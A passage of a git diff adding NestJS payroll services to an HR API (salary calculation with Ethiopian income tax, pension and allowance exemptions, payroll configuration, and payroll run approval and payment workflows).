and then + * deducting pension overtaxes every employee in the country. + */ +@Injectable() +export class PayrollCalculatorService { + calculate(input: CalculationInput): CalculationResult { + const lines: CalculatedLine[] = []; + + // ── 1. Earnings ─────────────────────────────────────────────────────── + const basicComponent = input.components.find( + (entry) => entry.component.componentType === EComponentType.BASIC, + ); + + const paidRate = 1 - Math.min(1, Math.max(0, input.absenceDeductionRate)); + const basic = round2(input.basicSalary * paidRate); + + lines.push({ + code: basicComponent?.component.code ?? RESERVED_CODES.basic, + name: basicComponent?.component.name ?? { am: "መሠረታዊ ደመወዝ", en: "Basic salary" }, + componentType: EComponentType.BASIC, + salaryComponentId: basicComponent?.component.id ?? null, + amount: basic, + taxableAmount: basic, + isTaxable: true, + isPensionable: basicComponent?.component.isPensionable ?? true, + affectsNetPay: true, + basis: + paidRate < 1 + ? `${round2(paidRate * 100)}% of ${input.basicSalary.toFixed(2)} — unpaid absence` + : null, + sortOrder: basicComponent?.component.sortOrder ?? 10, + }); + + for (const entry of input.components) { + const { component } = entry; + if (component.componentType !== EComponentType.ALLOWANCE) continue; + if (component.code === RESERVED_CODES.overtime) continue; + + const amount = this.amountFor(entry, input.basicSalary, basic); + if (amount <= 0) continue; + + const { taxable, note } = PayrollCalculatorService.taxablePortion( + component, + amount, + input.basicSalary, + ); + + lines.push({ + code: component.code, + name: component.name, + componentType: EComponentType.ALLOWANCE, + salaryComponentId: component.id, + amount, + taxableAmount: taxable, + isTaxable: component.isTaxable, + isPensionable: component.isPensionable, + affectsNetPay: true, + basis: note, + sortOrder: component.sortOrder, + }); + } + + if (input.overtimePay > 0) { + const overtimeComponent = input.components.find( + (entry) => entry.component.code === RESERVED_CODES.overtime, + )?.component; + lines.push({ + code: RESERVED_CODES.overtime, + name: overtimeComponent?.name ?? { am: "የትርፍ ሰዓት ክፍያ", en: "Overtime" }, + componentType: EComponentType.ALLOWANCE, + salaryComponentId: overtimeComponent?.id ?? null, + amount: round2(input.overtimePay), + // Overtime is fully taxable and never pensionable. + taxableAmount: round2(input.overtimePay), + isTaxable: true, + isPensionable: false, + affectsNetPay: true, + basis: `${input.overtimeHours} hour(s) of approved overtime`, + sortOrder: overtimeComponent?.sortOrder ?? 50, + }); + } + + const earnings = lines.filter( + (line) => + line.componentType === EComponentType.BASIC || + line.componentType === EComponentType.ALLOWANCE, + ); + const grossPay = round2( + earnings.reduce((total, line) => total + line.amount, 0), + ); + const pensionableIncome = round2( + earnings + .filter((line) => line.isPensionable) + .reduce((total, line) => total + line.amount, 0), + ); + const taxableEarnings = round2( + earnings.reduce((total, line) => total + line.taxableAmount, 0), + ); + + // ── 3. Pension ──────────────────────────────────────────────────────── + const pensionEmployee = input.isPensionEligible + ? round2(pensionableIncome * input.pensionEmployeeRate) + : 0; + const pensionEmployer = input.isPensionEligible + ? round2(pensionableIncome * input.pensionEmployerRate) + : 0; + + if (pensionEmployee > 0) { + lines.push({ + code: RESERVED_CODES.pensionEmployee, + name: { am: "የጡረታ መዋጮ (ሠራተኛ)", en: "Pension (employee)" }, + componentType: EComponentType.DEDUCTION, + salaryComponentId: + input.components.find( + (entry) => entry.component.code === RESERVED_CODES.pensionEmployee, + )?.component.id ?? null, + amount: pensionEmployee, + taxableAmount: 0, + isTaxable: false, + isPensionable: false, + affectsNetPay: true, + basis: `${round2(input.pensionEmployeeRate * 100)}% of ${pensionableIncome.toFixed(2)}`, + sortOrder: 70, + }); + } + + // ── 4. Income tax, on taxable income NET of the employee's pension ───── + const taxableIncome = round2(Math.max(0, taxableEarnings - pensionEmployee)); + const incomeTax = TaxService.computeTax(taxableIncome, input.brackets); + + if (incomeTax > 0 || taxableIncome > 0) { + lines.push({ + code: RESERVED_CODES.incomeTax, + name: { am: "የገቢ ግብር", en: "Employment income tax" }, + componentType: EComponentType.DEDUCTION, + salaryComponentId: + input.components.find( + (entry) => entry.component.code === RESERVED_CODES.incomeTax, + )?.component.id ?? null, + amount: incomeTax, + taxableAmount: 0, + isTaxable: false, + isPensionable: false, + affectsNetPay: true, + basis: `Schedule B on ${taxableIncome.toFixed(2)} taxable`, + sortOrder: 60, + }); + } + + // ── 5. Other deductions ─────────────────────────────────────────────── + for (const entry of input.components) { + const { component } = entry; + if (component.componentType !== EComponentType.DEDUCTION) continue; + // The two statutory deductions are computed above, not from a structure. + if (component.calculation === EComponentCalculation.STATUTORY) continue; + + const amount = this.amountFor(entry, input.basicSalary, grossPay); + if (amount <= 0) continue; + + lines.push({ + code: component.code, + name: component.name, + componentType: EComponentType.DEDUCTION, + salaryComponentId: component.id, + amount, + taxableAmount: 0, + isTaxable: false, + isPensionable: false, + affectsNetPay: true, + basis: null, + sortOrder: component.sortOrder, + }); + } + + // Employer contributions are recorded but never touch net pay. + if (pensionEmployer > 0) { + lines.push({ + code: RESERVED_CODES.pensionEmployer, + name: { am: "የጡረታ መዋጮ (አሠሪ)", en: "Pension (employer)" }, + componentType: EComponentType.EMPLOYER_CONTRIBUTION, + salaryComponentId: + input.components.find( + (entry) => entry.component.code === RESERVED_CODES.pensionEmployer, + )?.component.id ?? null, + amount: pensionEmployer, + taxableAmount: 0, + isTaxable: false, + isPensionable: false, + affectsNetPay: false, + basis: `${round2(input.pensionEmployerRate * 100)}% of ${pensionableIncome.toFixed(2)}`, + sortOrder: 80, + }); + } + + const totalDeductions = round2( + lines + .filter( + (line) => + line.componentType === EComponentType.DEDUCTION && line.affectsNetPay, + ) + .reduce((total, line) => total + line.amount, 0), + ); + + return { + lines: lines.sort((a, b) => a.sortOrder - b.sortOrder), + basicSalary: basic, + grossPay, + taxableIncome, + pensionableIncome, + incomeTax, + pensionEmployee, + pensionEmployer, + totalDeductions, + netPay: round2(grossPay - totalDeductions), + }; + } + + /** + * The taxable slice of an allowance. + * + * Where both an amount cap and a fraction of basic are set, the LOWER is + * exempt — that is how the transport allowance exemption is written (the + * lesser of 2,200 birr and a quarter of basic salary), and taking the higher + * would under-tax every employee it applies to. + */ + private static taxablePortion( + component: SalaryComponent, + amount: number, + basicSalary: number, + ): { taxable: number; note: string | null } { + if (!component.isTaxable) return { taxable: 0, note: "not taxable" }; + + const caps: number[] = []; + if (component.taxExemptAmount !== null && component.taxExemptAmount !== undefined) { + caps.push(Number(component.taxExemptAmount)); + } + if ( + component.taxExemptRateOfBasic !== null && + component.taxExemptRateOfBasic !== undefined + ) { + caps.push(round2(basicSalary * Number(component.taxExemptRateOfBasic))); + } + if (caps.length === 0) return { taxable: amount, note: null }; + + const exempt = Math.min(...caps, amount); + const taxable = round2(amount - exempt); + return { + taxable, + note: + taxable > 0 + ? `${exempt.toFixed(2)} exempt, ${taxable.toFixed(2)} taxable` + : `fully exempt (${exempt.toFixed(2)})`, + }; + } + + /** A component's figure: structure override first, then its own default. */ + private amountFor( + entry: ComponentInput, + basicSalary: number, + base: number, + ): number { + const { component } = entry; + const rate = + entry.rate ?? component.defaultRate ?? null; + const fixed = + entry.amount ?? component.defaultAmount ?? null; + + switch (component.calculation) { + case EComponentCalculation.PERCENT_OF_BASIC: + return rate ? round2(basicSalary * Number(rate)) : 0; + case EComponentCalculation.PERCENT_OF_GROSS: + case EComponentCalculation.PERCENT_OF_TAXABLE: + return rate ? round2(base * Number(rate)) : 0; + case EComponentCalculation.STATUTORY: + return 0; + case EComponentCalculation.FIXED: + default: + return fixed ? round2(Number(fixed)) : 0; + } + } +} diff --git a/apps/edr-hr-api/src/modules/payroll/services/payroll-config.service.ts b/apps/edr-hr-api/src/modules/payroll/services/payroll-config.service.ts new file mode 100644 index 000000000..c16840409 --- /dev/null +++ b/apps/edr-hr-api/src/modules/payroll/services/payroll-config.service.ts @@ -0,0 +1,327 @@ +import { + BadRequestException, + ConflictException, + Injectable, + NotFoundException, +} from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { Repository } from "typeorm"; + +import { ActorContext, orgScope } from "../../employees/employees.service"; +import { IamDirectoryService } from "../../../iam-directory/iam-directory.service"; +import { + EmployeeSalariesRepository, + SalaryComponentsRepository, + SalaryStructuresRepository, +} from "../repositories/payroll.repository"; +import { SalaryComponent } from "../entities/salary-component.entity"; +import { + SalaryStructure, + SalaryStructureLine, +} from "../entities/salary-structure.entity"; +import { EmployeeSalary } from "../entities/employee-salary.entity"; +import { + IncomeTaxBracket, + StatutoryRate, +} from "../entities/statutory.entity"; +import { + INCOME_TAX_BRACKETS_979_2016, + STATUTORY_RATES, + STATUTORY_SALARY_COMPONENTS, +} from "../statutory-payroll"; +import { addDays } from "../../leave/services/working-days.service"; +import { + AssignSalaryDto, + CreateSalaryComponentDto, + CreateSalaryStructureDto, +} from "../dto/payroll-config.dto"; + +@Injectable() +export class PayrollConfigService { + constructor( + private readonly components: SalaryComponentsRepository, + private readonly structures: SalaryStructuresRepository, + private readonly salaries: EmployeeSalariesRepository, + @InjectRepository(SalaryStructureLine) + private readonly lines: Repository, + @InjectRepository(IncomeTaxBracket) + private readonly brackets: Repository, + @InjectRepository(StatutoryRate) + private readonly rates: Repository, + private readonly iamDirectory: IamDirectoryService, + ) {} + + /** + * Seed the statutory catalogue: components, tax bands and pension rates. + * + * Idempotent, and nothing existing is modified. The tax bands are seeded + * NATIONALLY (`organization_id = null`) so every organization shares one + * schedule — a per-employer copy would drift the moment the law changed. + */ + async seedStatutory(actor: ActorContext): Promise<{ + components: { created: string[]; skipped: string[] }; + taxBands: string; + rates: { created: string[]; skipped: string[] }; + }> { + const organizationId = this.requireOrg(actor); + + const componentResult = { created: [] as string[], skipped: [] as string[] }; + for (const seed of STATUTORY_SALARY_COMPONENTS) { + const existing = await this.components.findByCode(organizationId, seed.code); + if (existing) { + componentResult.skipped.push(seed.code); + continue; + } + await this.components.create({ + ...seed, + organizationId, + createdBy: actor.userId, + } as unknown as Partial); + componentResult.created.push(seed.code); + } + + const existingBands = await this.brackets.count({ + where: { effectiveFrom: INCOME_TAX_BRACKETS_979_2016.effectiveFrom }, + }); + let taxBands = `already present (${existingBands} bands)`; + if (existingBands === 0) { + for (const band of INCOME_TAX_BRACKETS_979_2016.bands) { + await this.brackets.save( + this.brackets.create({ + ...band, + organizationId: null, + effectiveFrom: INCOME_TAX_BRACKETS_979_2016.effectiveFrom, + statuteReference: INCOME_TAX_BRACKETS_979_2016.statuteReference, + createdBy: actor.userId, + } as unknown as Partial), + ); + } + taxBands = `seeded ${INCOME_TAX_BRACKETS_979_2016.bands.length} bands from ${INCOME_TAX_BRACKETS_979_2016.statuteReference}`; + } + + const rateResult = { created: [] as string[], skipped: [] as string[] }; + for (const seed of STATUTORY_RATES) { + const existing = await this.rates.findOne({ + where: { code: seed.code, effectiveFrom: seed.effectiveFrom }, + }); + if (existing) { + rateResult.skipped.push(seed.code); + continue; + } + await this.rates.save( + this.rates.create({ + ...seed, + organizationId: null, + createdBy: actor.userId, + } as unknown as Partial), + ); + rateResult.created.push(seed.code); + } + + return { components: componentResult, taxBands, rates: rateResult }; + } + + // ── Components ──────────────────────────────────────────────────────────── + + listComponents(actor: ActorContext): Promise { + return this.components.findAllFor(orgScope(actor)); + } + + async createComponent( + dto: CreateSalaryComponentDto, + actor: ActorContext, + ): Promise { + const organizationId = this.requireOrg(actor); + const clash = await this.components.findByCode(organizationId, dto.code); + if (clash) { + throw new ConflictException(`Component ${dto.code} already exists`); + } + return this.components.create({ + ...dto, + organizationId, + createdBy: actor.userId, + } as unknown as Partial); + } + + async updateComponent( + id: string, + dto: Partial, + actor: ActorContext, + ): Promise { + const component = await this.components.findById(id); + if (!component) throw new NotFoundException(`Component ${id} not found`); + const scope = orgScope(actor); + if (scope && component.organizationId !== scope) { + throw new NotFoundException(`Component ${id} not found`); + } + return ( + (await this.components.update(id, { + ...dto, + updatedBy: actor.userId, + } as Partial)) ?? component + ); + } + + // ── Structures ──────────────────────────────────────────────────────────── + + listStructures(actor: ActorContext): Promise { + return this.structures.findAllFor(orgScope(actor)); + } + + async getStructure(id: string, actor: ActorContext): Promise { + const structure = await this.structures.findWithLines(id); + if (!structure) throw new NotFoundException(`Salary structure ${id} not found`); + const scope = orgScope(actor); + if (scope && structure.organizationId !== scope) { + throw new NotFoundException(`Salary structure ${id} not found`); + } + return structure; + } + + async createStructure( + dto: CreateSalaryStructureDto, + actor: ActorContext, + ): Promise { + const organizationId = this.requireOrg(actor); + const clash = await this.structures.findByCode(organizationId, dto.code); + if (clash) { + throw new ConflictException(`Salary structure ${dto.code} already exists`); + } + + const structure = await this.structures.create({ + code: dto.code, + name: dto.name, + description: dto.description, + jobTitleId: dto.jobTitleId, + organizationId, + createdBy: actor.userId, + } as unknown as Partial); + + for (const line of dto.lines ?? []) { + const component = await this.components.findById(line.salaryComponentId); + if (!component || component.organizationId !== organizationId) { + throw new BadRequestException( + `Component ${line.salaryComponentId} does not exist in this organization`, + ); + } + await this.lines.save( + this.lines.create({ + salaryStructureId: structure.id, + salaryComponentId: line.salaryComponentId, + amount: line.amount ?? null, + rate: line.rate ?? null, + }), + ); + } + + return this.getStructure(structure.id, actor); + } + + /** Replace a structure's lines wholesale — simpler than diffing, and atomic. */ + async setStructureLines( + id: string, + lines: { salaryComponentId: string; amount?: string; rate?: string }[], + actor: ActorContext, + ): Promise { + const structure = await this.getStructure(id, actor); + await this.lines.delete({ salaryStructureId: structure.id }); + for (const line of lines) { + await this.lines.save( + this.lines.create({ + salaryStructureId: structure.id, + salaryComponentId: line.salaryComponentId, + amount: line.amount ?? null, + rate: line.rate ?? null, + }), + ); + } + return this.getStructure(structure.id, actor); + } + + // ── Employee salaries ───────────────────────────────────────────────────── + + /** + * Put an employee on a salary from a date. + * + * The previous record is closed the day before rather than edited. Payroll + * already run for an earlier month must keep resolving what applied then — + * editing in place would restate pay that has been paid, taxed and reported. + */ + async assignSalary( + dto: AssignSalaryDto, + actor: ActorContext, + ): Promise { + const employee = await this.iamDirectory.requireEmployee(dto.employeeId); + const organizationId = employee.organizationId; + if (!organizationId) { + throw new BadRequestException( + `Cannot resolve an organization for employee ${dto.employeeId}`, + ); + } + const scope = orgScope(actor); + if (scope && organizationId !== scope) { + throw new NotFoundException(`Employee ${dto.employeeId} not found`); + } + + if (dto.salaryStructureId) { + const structure = await this.structures.findById(dto.salaryStructureId); + if (!structure || structure.organizationId !== organizationId) { + throw new BadRequestException( + `Salary structure ${dto.salaryStructureId} does not exist in this organization`, + ); + } + } + + const open = await this.salaries.findOpenFor(dto.employeeId); + if (open) { + if (dto.effectiveFrom <= open.effectiveFrom) { + throw new BadRequestException( + `The new salary must start after the current one began (${open.effectiveFrom}).`, + ); + } + await this.salaries.update(open.id, { + effectiveTo: addDays(dto.effectiveFrom, -1), + updatedBy: actor.userId, + }); + } + + return this.salaries.create({ + organizationId, + employeeId: dto.employeeId, + salaryStructureId: dto.salaryStructureId ?? null, + basicSalary: dto.basicSalary, + currency: dto.currency ?? "ETB", + effectiveFrom: dto.effectiveFrom, + reason: dto.reason ?? null, + createdBy: actor.userId, + } as unknown as Partial); + } + + salaryHistory(employeeId: string): Promise { + return this.salaries.history(employeeId); + } + + currentSalary(employeeId: string): Promise { + return this.salaries.findOpenFor(employeeId); + } + + listTaxBrackets(): Promise { + return this.brackets.find({ + order: { effectiveFrom: "DESC", lowerBound: "ASC" }, + }); + } + + listStatutoryRates(): Promise { + return this.rates.find({ order: { code: "ASC", effectiveFrom: "DESC" } }); + } + + private requireOrg(actor: ActorContext): string { + const organizationId = orgScope(actor) ?? actor.organizationId; + if (!organizationId) { + throw new BadRequestException( + "This account has no organization, and payroll configuration belongs to one.", + ); + } + return organizationId; + } +} diff --git a/apps/edr-hr-api/src/modules/payroll/services/payroll-runs.service.ts b/apps/edr-hr-api/src/modules/payroll/services/payroll-runs.service.ts new file mode 100644 index 000000000..a2db4dd9c --- /dev/null +++ b/apps/edr-hr-api/src/modules/payroll/services/payroll-runs.service.ts @@ -0,0 +1,529 @@ +import { + BadRequestException, + ForbiddenException, + Injectable, + NotFoundException, +} from "@nestjs/common"; +import { InjectDataSource, InjectRepository } from "@nestjs/typeorm"; +import { DataSource, Repository } from "typeorm"; + +import { ActorContext, orgScope } from "../../employees/employees.service"; +import { EmployeesRepository } from "../../employees/employees.repository"; +import { Paginated, paginate } from "../../../common/pagination.dto"; +import { OvertimeService } from "../../attendance/services/overtime.service"; +import { AttendanceRepository } from "../../attendance/repositories/attendance.repository"; +import { WorkSchedulesService } from "../../attendance/services/work-schedules.service"; +import { LeaveSettingsService } from "../../leave/services/leave-settings.service"; +import { WorkingDaysService } from "../../leave/services/working-days.service"; +import { + EPayrollRunStatus, + PayrollRun, + Payslip, + PayslipLine, +} from "../entities/payroll-run.entity"; +import { + EmployeeSalariesRepository, + SalaryComponentsRepository, + SalaryStructuresRepository, +} from "../repositories/payroll.repository"; +import { PayrollCalculatorService } from "./payroll-calculator.service"; +import { TaxService, round2 } from "./tax.service"; +import { RESERVED_CODES } from "../statutory-payroll"; +import { EComponentType } from "../entities/salary-component.entity"; + +/** + * Hours in a nominal month, used to price overtime when no work schedule says + * otherwise: 48 hours a week over roughly 4.33 weeks. Ethiopian practice varies + * and the statute does not fix a divisor, so a schedule-derived figure is used + * whenever one exists and this is only the fallback. + */ +const FALLBACK_MONTHLY_HOURS = 208; + +@Injectable() +export class PayrollRunsService { + constructor( + @InjectDataSource() private readonly dataSource: DataSource, + @InjectRepository(PayrollRun) + private readonly runs: Repository, + @InjectRepository(Payslip) + private readonly payslips: Repository, + private readonly salaries: EmployeeSalariesRepository, + private readonly components: SalaryComponentsRepository, + private readonly structures: SalaryStructuresRepository, + private readonly calculator: PayrollCalculatorService, + private readonly tax: TaxService, + private readonly employees: EmployeesRepository, + private readonly overtime: OvertimeService, + private readonly attendance: AttendanceRepository, + private readonly schedules: WorkSchedulesService, + private readonly leaveSettings: LeaveSettingsService, + private readonly workingDays: WorkingDaysService, + ) {} + + async create( + dto: { periodStart: string; periodEnd: string; paymentDate?: string; note?: string }, + actor: ActorContext, + ): Promise { + const organizationId = this.requireOrg(actor); + if (dto.periodEnd < dto.periodStart) { + throw new BadRequestException("periodEnd cannot be before periodStart."); + } + + const clash = await this.runs.findOne({ + where: { + organizationId, + periodStart: dto.periodStart, + periodEnd: dto.periodEnd, + }, + }); + if (clash && clash.status !== EPayrollRunStatus.CANCELLED) { + throw new BadRequestException( + `A payroll run for ${dto.periodStart} — ${dto.periodEnd} already exists ` + + `(${clash.status.toLowerCase()}). Running it twice would pay everyone twice.`, + ); + } + + return this.runs.save( + this.runs.create({ + organizationId, + periodStart: dto.periodStart, + periodEnd: dto.periodEnd, + paymentDate: dto.paymentDate ?? null, + note: dto.note ?? null, + status: EPayrollRunStatus.DRAFT, + createdBy: actor.userId, + } as Partial), + ); + } + + /** + * Compute every payslip in the run. + * + * Repeatable while DRAFT or CALCULATED — existing payslips are deleted and + * rebuilt, which is what "recalculate after fixing a salary" has to mean. + * Refused once APPROVED: at that point the numbers are the record. + */ + async calculate(id: string, actor: ActorContext): Promise { + const run = await this.requireRun(id, actor); + if ( + run.status !== EPayrollRunStatus.DRAFT && + run.status !== EPayrollRunStatus.CALCULATED + ) { + throw new BadRequestException( + `This run is ${run.status.toLowerCase()} and can no longer be recalculated. ` + + "Cancel it and create a new one if the figures are wrong.", + ); + } + + const brackets = await this.tax.bracketsOn(run.organizationId, run.periodEnd); + const pensionEmployeeRate = await this.tax.rateOn( + run.organizationId, + RESERVED_CODES.pensionEmployee, + run.periodEnd, + ); + const pensionEmployerRate = await this.tax.rateOn( + run.organizationId, + RESERVED_CODES.pensionEmployer, + run.periodEnd, + ); + + const settings = await this.leaveSettings.resolve(run.organizationId); + const periodWorkingDays = await this.workingDays.countWorkingDays( + { start: run.periodStart, end: run.periodEnd }, + settings.weekendDays, + run.organizationId, + ); + + const payable = await this.salaries.findPayableOn( + run.organizationId, + run.periodEnd, + ); + // findPayableOn may return several rows per employee if history overlaps; + // the newest effective_from wins, matching what a single lookup would give. + const byEmployee = new Map(); + for (const salary of payable) { + if (!byEmployee.has(salary.employeeId)) byEmployee.set(salary.employeeId, salary); + } + + const orgComponents = await this.components.findActive(run.organizationId); + + let totals = { + gross: 0, + deductions: 0, + net: 0, + incomeTax: 0, + pensionEmployee: 0, + pensionEmployer: 0, + count: 0, + }; + + await this.dataSource.transaction(async (manager) => { + // Rebuild from scratch. Cascade removes the lines with the payslips. + await manager.getRepository(Payslip).delete({ payrollRunId: run.id }); + + for (const salary of byEmployee.values()) { + const profile = await this.employees.findByEmployeeId(salary.employeeId); + // No HR profile means no employment facts to price — skipped rather + // than guessed at, and visible as a smaller employee count. + if (!profile) continue; + + const structure = salary.salaryStructureId + ? await this.structures.findWithLines(salary.salaryStructureId) + : null; + + const componentInputs = structure?.lines?.length + ? structure.lines + .filter((line) => line.salaryComponent?.isActive) + .map((line) => ({ + component: line.salaryComponent!, + amount: line.amount, + rate: line.rate, + })) + : // No structure: basic plus the statutory lines only. + orgComponents + .filter( + (component) => + component.componentType === EComponentType.BASIC || + component.code === RESERVED_CODES.incomeTax || + component.code === RESERVED_CODES.pensionEmployee || + component.code === RESERVED_CODES.pensionEmployer, + ) + .map((component) => ({ component, amount: null, rate: null })); + + const { overtimePay, overtimeHours } = await this.priceOvertime( + salary.employeeId, + run, + Number(salary.basicSalary), + periodWorkingDays, + ); + + const { absentDays, workedDays } = await this.countAttendance( + salary.employeeId, + run.periodStart, + run.periodEnd, + ); + + const result = this.calculator.calculate({ + basicSalary: Number(salary.basicSalary), + components: componentInputs, + brackets, + pensionEmployeeRate, + pensionEmployerRate, + overtimePay, + overtimeHours, + // Unpaid absence pro-rates basic. Zero working days in the period + // would divide by zero, so it degrades to "no deduction". + absenceDeductionRate: + periodWorkingDays > 0 ? absentDays / periodWorkingDays : 0, + isPensionEligible: profile.isPensionEligible, + }); + + const payslip = await manager.getRepository(Payslip).save( + manager.getRepository(Payslip).create({ + payrollRunId: run.id, + organizationId: run.organizationId, + employeeId: salary.employeeId, + employeeNumber: profile.employeeNumber, + basicSalary: result.basicSalary.toFixed(2), + grossPay: result.grossPay.toFixed(2), + taxableIncome: result.taxableIncome.toFixed(2), + pensionableIncome: result.pensionableIncome.toFixed(2), + incomeTax: result.incomeTax.toFixed(2), + pensionEmployee: result.pensionEmployee.toFixed(2), + pensionEmployer: result.pensionEmployer.toFixed(2), + totalDeductions: result.totalDeductions.toFixed(2), + netPay: result.netPay.toFixed(2), + workedDays: workedDays.toFixed(2), + absentDays: absentDays.toFixed(2), + overtimeHours: overtimeHours.toFixed(2), + salaryMode: profile.salaryMode, + bankAccount: profile.bankAccountNumber ?? null, + } as Partial), + ); + + for (const line of result.lines) { + await manager.getRepository(PayslipLine).save( + manager.getRepository(PayslipLine).create({ + payslipId: payslip.id, + salaryComponentId: line.salaryComponentId, + code: line.code, + name: line.name, + componentType: line.componentType, + amount: line.amount.toFixed(2), + taxableAmount: line.taxableAmount.toFixed(2), + isTaxable: line.isTaxable, + isPensionable: line.isPensionable, + affectsNetPay: line.affectsNetPay, + basis: line.basis, + sortOrder: line.sortOrder, + } as Partial), + ); + } + + totals = { + gross: totals.gross + result.grossPay, + deductions: totals.deductions + result.totalDeductions, + net: totals.net + result.netPay, + incomeTax: totals.incomeTax + result.incomeTax, + pensionEmployee: totals.pensionEmployee + result.pensionEmployee, + pensionEmployer: totals.pensionEmployer + result.pensionEmployer, + count: totals.count + 1, + }; + } + + await manager.getRepository(PayrollRun).update(run.id, { + status: EPayrollRunStatus.CALCULATED, + employeeCount: totals.count, + totalGross: round2(totals.gross).toFixed(2), + totalDeductions: round2(totals.deductions).toFixed(2), + totalNet: round2(totals.net).toFixed(2), + totalIncomeTax: round2(totals.incomeTax).toFixed(2), + totalPensionEmployee: round2(totals.pensionEmployee).toFixed(2), + totalPensionEmployer: round2(totals.pensionEmployer).toFixed(2), + calculatedAt: new Date(), + updatedBy: actor.userId, + }); + }); + + return this.requireRun(id, actor); + } + + /** Sign off. After this the figures are the record and cannot be recomputed. */ + async approve(id: string, actor: ActorContext): Promise { + const run = await this.requireRun(id, actor); + if (run.status !== EPayrollRunStatus.CALCULATED) { + throw new BadRequestException( + `Only a calculated run can be approved; this one is ${run.status.toLowerCase()}.`, + ); + } + if (run.employeeCount === 0) { + throw new BadRequestException( + "This run has no payslips. Approving an empty run would record that " + + "nobody was paid.", + ); + } + if (!actor.employeeId) { + throw new ForbiddenException( + "Approving payroll needs an account with an employee record, so the " + + "approval can be attributed.", + ); + } + + await this.runs.update(id, { + status: EPayrollRunStatus.APPROVED, + approvedByEmployeeId: actor.employeeId, + approvedAt: new Date(), + updatedBy: actor.userId, + }); + return this.requireRun(id, actor); + } + + async markPaid( + id: string, + paymentDate: string | undefined, + actor: ActorContext, + ): Promise { + const run = await this.requireRun(id, actor); + if (run.status !== EPayrollRunStatus.APPROVED) { + throw new BadRequestException( + `Only an approved run can be marked paid; this one is ${run.status.toLowerCase()}.`, + ); + } + await this.runs.update(id, { + status: EPayrollRunStatus.PAID, + paymentDate: paymentDate ?? new Date().toISOString().slice(0, 10), + updatedBy: actor.userId, + }); + return this.requireRun(id, actor); + } + + /** + * Cancel a run. Allowed before payment only — a paid run is a financial fact + * and reversing it is an accounting entry, not a status change. + */ + async cancel(id: string, actor: ActorContext): Promise { + const run = await this.requireRun(id, actor); + if (run.status === EPayrollRunStatus.PAID) { + throw new BadRequestException( + "A paid run cannot be cancelled — the money has left. Reverse it in the " + + "ledger instead.", + ); + } + await this.runs.update(id, { + status: EPayrollRunStatus.CANCELLED, + updatedBy: actor.userId, + }); + return this.requireRun(id, actor); + } + + async findAll( + filters: { status?: EPayrollRunStatus; page?: number; limit?: number }, + actor: ActorContext, + ): Promise> { + const page = filters.page ?? 1; + const limit = filters.limit ?? 25; + const qb = this.runs.createQueryBuilder("run"); + const scope = orgScope(actor); + if (scope) qb.andWhere("run.organization_id = :scope", { scope }); + if (filters.status) qb.andWhere("run.status = :status", { status: filters.status }); + + const [items, total] = await qb + .orderBy("run.periodStart", "DESC") + .skip((page - 1) * limit) + .take(limit) + .getManyAndCount(); + return paginate(items, total, page, limit); + } + + findOne(id: string, actor: ActorContext): Promise { + return this.requireRun(id, actor); + } + + async payslipsFor(id: string, actor: ActorContext): Promise { + const run = await this.requireRun(id, actor); + return this.payslips.find({ + where: { payrollRunId: run.id }, + order: { employeeNumber: "ASC" }, + }); + } + + async payslip(id: string, actor: ActorContext): Promise { + const payslip = await this.payslips.findOne({ + where: { id }, + relations: { lines: true, payrollRun: true }, + }); + if (!payslip) throw new NotFoundException(`Payslip ${id} not found`); + const scope = orgScope(actor); + if (scope && payslip.organizationId !== scope) { + throw new NotFoundException(`Payslip ${id} not found`); + } + payslip.lines?.sort((a, b) => a.sortOrder - b.sortOrder); + return payslip; + } + + /** An employee's own payslips — only from runs that have been approved. */ + async payslipsForEmployee(employeeId: string): Promise { + return this.payslips + .createQueryBuilder("payslip") + .innerJoinAndSelect("payslip.payrollRun", "run") + .where("payslip.employee_id = :employeeId", { employeeId }) + // A draft or calculated run is still being worked on; showing it to the + // employee would publish figures that may still change. + .andWhere("run.status IN (:...statuses)", { + statuses: [EPayrollRunStatus.APPROVED, EPayrollRunStatus.PAID], + }) + .orderBy("run.periodStart", "DESC") + .getMany(); + } + + // ──────────────────────────────────────────────────────────────────────── + + /** + * Turn approved overtime hours into money. + * + * The hourly rate is basic ÷ hours in the period, taken from the employee's + * work schedule where they have one so the divisor reflects how they actually + * work. Without a schedule it falls back to a nominal 208-hour month — the + * statute fixes premiums but not a divisor, so this is a policy default worth + * confirming with the employer. + */ + private async priceOvertime( + employeeId: string, + run: PayrollRun, + basicSalary: number, + periodWorkingDays: number, + ): Promise<{ overtimePay: number; overtimeHours: number }> { + const totals = await this.overtime.approvedTotals( + employeeId, + run.periodStart, + run.periodEnd, + ); + if (totals.length === 0) return { overtimePay: 0, overtimeHours: 0 }; + + const schedule = await this.schedules.resolveFor( + employeeId, + run.organizationId, + run.periodEnd, + ); + + let monthlyHours = FALLBACK_MONTHLY_HOURS; + if (schedule && periodWorkingDays > 0) { + const span = PayrollRunsService.shiftMinutes(schedule); + if (span > 0) monthlyHours = (span / 60) * periodWorkingDays; + } + + const hourlyRate = monthlyHours > 0 ? basicSalary / monthlyHours : 0; + + let pay = 0; + let hours = 0; + for (const total of totals) { + pay += total.hours * total.multiplier * hourlyRate; + hours += total.hours; + } + return { overtimePay: round2(pay), overtimeHours: round2(hours) }; + } + + /** Paid minutes in one shift, break excluded. */ + private static shiftMinutes(schedule: { + startTime: string; + endTime: string; + breakMinutes: number; + crossesMidnight: boolean; + }): number { + const toMinutes = (time: string) => { + const [hours, minutes] = time.split(":").map(Number); + return hours * 60 + minutes; + }; + let span = toMinutes(schedule.endTime) - toMinutes(schedule.startTime); + if (span <= 0 && schedule.crossesMidnight) span += 1440; + return Math.max(0, span - schedule.breakMinutes); + } + + /** + * Days worked and days absent in the period. + * + * Only ABSENT counts against pay. Approved leave, holidays and rest days are + * all paid — treating them as absence would dock people for taking the leave + * they are entitled to, which is the single most damaging bug this module + * could ship. + */ + private async countAttendance( + employeeId: string, + from: string, + to: string, + ): Promise<{ absentDays: number; workedDays: number }> { + const records = await this.attendance.findRange(employeeId, from, to); + let absentDays = 0; + let workedDays = 0; + for (const record of records) { + if (record.status === "ABSENT") absentDays += 1; + else if (record.status === "HALF_DAY") { + absentDays += 0.5; + workedDays += 0.5; + } else if (record.status === "PRESENT" || record.status === "LATE") { + workedDays += 1; + } + } + return { absentDays, workedDays }; + } + + private requireOrg(actor: ActorContext): string { + const organizationId = orgScope(actor) ?? actor.organizationId; + if (!organizationId) { + throw new BadRequestException( + "This account has no organization, and a payroll run belongs to one.", + ); + } + return organizationId; + } + + private async requireRun(id: string, actor: ActorContext): Promise { + 